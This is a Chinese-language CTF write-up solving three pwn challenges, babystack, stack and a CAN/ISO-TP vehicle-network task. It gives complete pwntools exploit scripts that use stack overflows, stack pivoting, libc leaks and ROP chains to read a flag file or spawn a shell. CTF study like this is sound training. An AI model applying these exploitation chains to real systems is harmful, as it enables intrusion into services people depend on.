0x00 前言

SU天下第一!又蹭到了,贡献了一点点车联网,但是手慢+沙比了卡了挺久

0x01 题解

Pwn - babystack

int pwn()
{
char s[24]; // [rsp+0h] [rbp-120h] BYREF
char buf_[248]; // [rsp+18h] [rbp-108h] BYREF
__int64 n180097847; // [rsp+110h] [rbp-10h]

memset(s, 0, 0x110u);
n180097847 = 180097847;
printf("Enter your flag1:");
read(0, s, 0x18u);
printf("Enter your flag2:");
read(0, buf_, 0x100u);
printf("Nice!, %s, your flag2 is %s.\n", s, buf_);
if ( n180097847 != 20150972 )
return puts("you are a good boy.");
puts("you are also a good boy.");
return system("/bin/sh");
}

签到,第二次输入覆盖掉n180097847即可

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/babystack'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/libc-2.23.so')

choice = 0x001
if choice:
p = remote("challenge.xctf.org.cn", 9999, ssl=True)
else:
p = process(file)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

sa('flag1:',b'a'*0x18)
debug()

sa('flag2:',b'a'*(0x108-0x10) + p64(0x1337abc))

itr()

Pwn - stack

沙箱

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW

两次输入
alt textalt text第一次输入可以配合printf泄露栈地址alt text在第二次输入先栈迁移把下面的返回地址修改掉,然后再返回到第一次输入这里的printf这里,泄露出下面的libc_start_call_main, 继续稍微布置一下rbp,让程序执行到第二次read中,然后布置orw的rop链即可

from pwn import *
from ctypes import *
import struct

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/stack/pwn'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/stack/libc.so.6')

choice = 0x001
if choice:
p = remote("", 9999, ssl=True)
else:
p = process(file)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)


debug()
sa('Could you tell me your name?',b'a'*(0x10 -1) +b'b' )

ru('ab')
stack_addr = uu64(rl()[:-2].ljust(8,b'\x00')) + 8
leak('stack_addr')

payload = b'a'*0x60 + p64(stack_addr + 0x10 + 0x60 - 8) + p64(0x00000000004013D4)
sa('Any thing else?\n',payload)

pause()
payload = p64(0x00000000004013D4) + p64(stack_addr) + p64(0x00000000004013D4) + b'a'*(0x60-0x18) + p64(stack_addr + 0x10) + p64(0x000000000040139B)
s(payload)

ru('Hello, ')
libc_base = uu64(r(6).ljust(8,b'\x00')) - 0x29d90
libc.address = libc_base
leak('libc_base')

rdi = libc_os(0x000000000002a3e5)
rsi = libc_os(0x000000000002be51)
rdx = libc_os(0x000000000011f357) # pop rdx ; pop r12 ; ret

payload = b'/flag\x00\x00\x00'
payload += b'a' * 0x58 + p64(stack_addr + 0x100)
payload += b'a' * 0x10
payload += flat(
rdi,-1, rsi,stack_addr - 0x60, rdx, 0 , 0 ,libc.sym['openat'],
rdi, 3 , rsi , stack_addr + 0x200 , rdx , 0x50, 0x50, libc.sym['read'],
rdi, 1 , rsi , stack_addr + 0x200 , rdx , 0x50, 0x50, libc.sym['write']
)

pause()
s(payload)

itr()

车联网 - can

沙箱

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

大概分析一下逻辑,先是一个密码
alt text然后可以输入指令,但这上面这几个指令都没什么用。主要是下面的逻辑,我们可以发送3种类型的 ISO-TP 帧

  • SF - 单帧
  • FF - 首帧
    • 输入 1#10xxxx
  • CF - 连续帧
    • 连续输入 1#21...1#22...1#23... 到了f就再回到1

大概尝试了一下,可以利用处理 CF 帧的这个 if 判断来泄露 pie
alt text没细看处理的逻辑,但大概尝试了一下

sla('Enter magic number:\n','12803159')
sla('>','1#1020414141414141')
sla('>','1#2142424242424242')
sla('>','1#2243434343434343')
sla('>','1#2344444444444444')
sla('>','1#2445454545454545')
sla('>','1#2445454545454545')

就能执行到这个else分支,应该是输入的 CF 帧不合法导致的
值得注意的是这个函数
alt textmemcpy没有对长度进行判断,当满足条件的时候就会执行下面这个 p_sub_16E0, 存放在 buf_ + 0x100 的位置alt text可以先发送一个 FF 帧,例如:发送 1#1008..., 发这个帧是为了设定 ::n 的大小 , 由1#1后面的三个数字来决定,这个例子中 ::n 会被设定为 8。
泄露出 pie_base 之后需要重新设置 FF 帧,把ret写到开头,接着就利用 CF 帧的memcpy布置rop链来泄露libc。这里rop链的结构是

ret
puts(fgets_got)
pop_rbp_ret
bss_addr
.text:000000000000130F mov rdx, cs:stdin ; stream
.text:0000000000001316 mov esi, 200h ; n
.text:000000000000131B mov rdi, rbp ; s
.text:000000000000131E call _fgets

然后我们把 p_sub_16E0 覆盖成这个gadget push rdi ; pop rsp ; ret。
alt text因为执行 p_sub_16E0 之前寄存器的状态是这样的
alt text用这个gadget就能把栈迁移到bss段上,最后通过fgets的溢出来布置orw的rop链即可
大概泄露了一下远程的libcalt text

from pwn import *
from ctypes import *
import struct

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./pwn'
elf=ELF(file)
libc = ELF('./libc6_2.39-0ubuntu8.6_amd64.so')
#
choice = 0x001
if choice:
p = remote("", 9999, ssl=True)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

commend = '''
b *$rebase(0x0000000000001A6B)
b *$rebase(0x000000000000131E)
b _IO_getline
'''

sla('Enter magic number:\n','12803159')
sla('>','1#11ff414141414141')
sla('>','1#2445454545454545')

ru(' handler=')
pie_base = int(rl()[:-1],16) - 0x00000000000018C0
elf.address = pie_base
leak('pie_base')

ret = pie_base + 0x000000000000101a
ret_b = struct.pack('<Q', ret)

rdi = pie_base + 0x0000000000001557
rdi_b = struct.pack('<Q', rdi)

puts_got = elf.got.puts
puts_b = struct.pack('<Q', puts_got)

fgets_got = elf.got.fgets
fgets_b = struct.pack('<Q', fgets_got)

puts_plt = elf.plt.puts
puts_p = struct.pack('<Q', puts_plt)

set_puts = pie_base + 0x0000000000016F0
set_b = struct.pack('<Q', set_puts)

pop_rbp = pie_base + 0x0000000000001693
pop_rbp = struct.pack('<Q', pop_rbp)

main = pie_base + 0x000000000000130F
main_b = struct.pack('<Q', main)

input_addr = pie_base + 0x6088
input_addr = struct.pack('<Q', input_addr)

sla('>','1#10ff' + ret_b.hex()[:-4])
sla('>','1#21' +'00'*2 + rdi_b.hex()[:-6])
sla('>','1#22' + rdi_b.hex()[10:-4] + '00'*2 + fgets_b.hex()[:-8])
sla('>','1#23' + fgets_b.hex()[8:-4] + '00'*2 + puts_p.hex()[:-10])
sla('>','1#24' + puts_b.hex()[6:-4] + '00'*2 + pop_rbp.hex()[:-12])
sla('>','1#25' + pop_rbp.hex()[4:-4] + '00'*2 + input_addr.hex()[:-14])
sla('>','1#26' + input_addr.hex()[2:-4] + '00'*2)
sla('>','1#27' + main_b.hex()[:-4] + '00')

sla('>','1#28' + '00' + '454545454545')
sla('>','1#2945454545454545')

sla('>','1#2a45454545454545')
sla('>','1#2b45454545454545')
sla('>','1#2c45454545454545')
sla('>','1#2d45454545454545')
sla('>','1#2e45454545454545')
sla('>','1#2f45454545454545')

sla('>','1#2146464646464646')
sla('>','1#2246464646464646')
sla('>','1#2346464646464646')
sla('>','1#2446464646464646')
sla('>','1#2546464646464646')
sla('>','1#2646464646464646')
sla('>','1#2746464646464646')
sla('>','1#2846464646464646')
sla('>','1#2946464646464646')
sla('>','1#2a46464646464646')
sla('>','1#2b46464646464646')
sla('>','1#2c46464646464646')
sla('>','1#2d46464646464646')
sla('>','1#2e46464646464646')
sla('>','1#2f46464646464646')

sla('>','1#2147474747474747')
sla('>','1#2247474747474747')
sla('>','1#2347474747474747')
sla('>','1#2447474747474747')
sla('>','1#2547474747474747')
sla('>','1#264747474747')

gad = pie_base + 0x00000000000012d3 # push rdi ; pop rsp ; ret
gadge = struct.pack('<Q', gad)

# 后续是 p__puts_w

# debug(commend)
sla('>','1#27' + gadge.hex()[:-4])
fgets_addr = uu64(rl()[1:-1])

libc_base = fgets_addr - libc.sym['fgets']
libc.address = libc_base
leak('libc_base')

pause()
o = libc.sym['open']
r = libc.sym['read']
w = libc.sym['write']

rsi = pie_base + 0x0000000000001555
ret = pie_base + 0x000000000000101a
rbx = libc_os(0x00000000000586e4) # pop rbx ; ret
rdx = libc_os(0x00000000000b0133) # mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret

payload = p64(ret) *2
payload += flat(
rdi,pie_base + 0x6188,rsi,0,0,o,
rdi,3,rsi,pie_base + 0x6288,0,rbx,0x100,rdx,0,0,0,r,
rdi,1,rsi,pie_base + 0x6288,0,rbx,0x100,rdx,0,0,0,w
)
payload += b'/flag\x00\x00\x00'
payload = payload.ljust(0x200,b'a')
sl(payload)

itr()

你可能会发现这题的wp与SU发的wp非常相似,因为那是也我写的^^